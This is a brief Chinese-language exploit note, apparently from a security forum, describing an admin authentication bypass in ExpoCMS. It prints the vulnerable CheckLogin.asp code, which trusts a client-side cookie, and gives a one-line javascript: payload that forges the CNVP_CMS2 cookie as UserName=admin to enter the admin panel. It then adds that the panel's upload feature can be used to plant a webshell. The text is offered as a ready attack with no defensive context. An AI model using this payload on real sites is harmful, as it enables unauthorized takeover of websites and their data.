ExpoCMS后台验证漏洞
/admin/CheckLogin.asp
- <%
- Response.Buffer = True
- Response.Expires = -1
- Response.ExpiresAbsolute = Now() - 1
- Response.Expires = 0
- Response.CacheControl = "no-cache"
- Session.CodePage = 65001
- Response.Charset = "UTF-8"
- UserName=Request.Cookies("CNVP_CMS2")("UserName") '在cookie中取username值
- If UserName="" Then
- Response.Redirect("Admin_Login.asp") '如果为空，就跳转
- Response.End()
- End If
- %>
exp: javascript:alert(document.cookie="CNVP%5FCMS2=UserName=admin") 这样就能进后台了 /admin/Admin_Index.asp
后台有个上传的地方可以拿webshell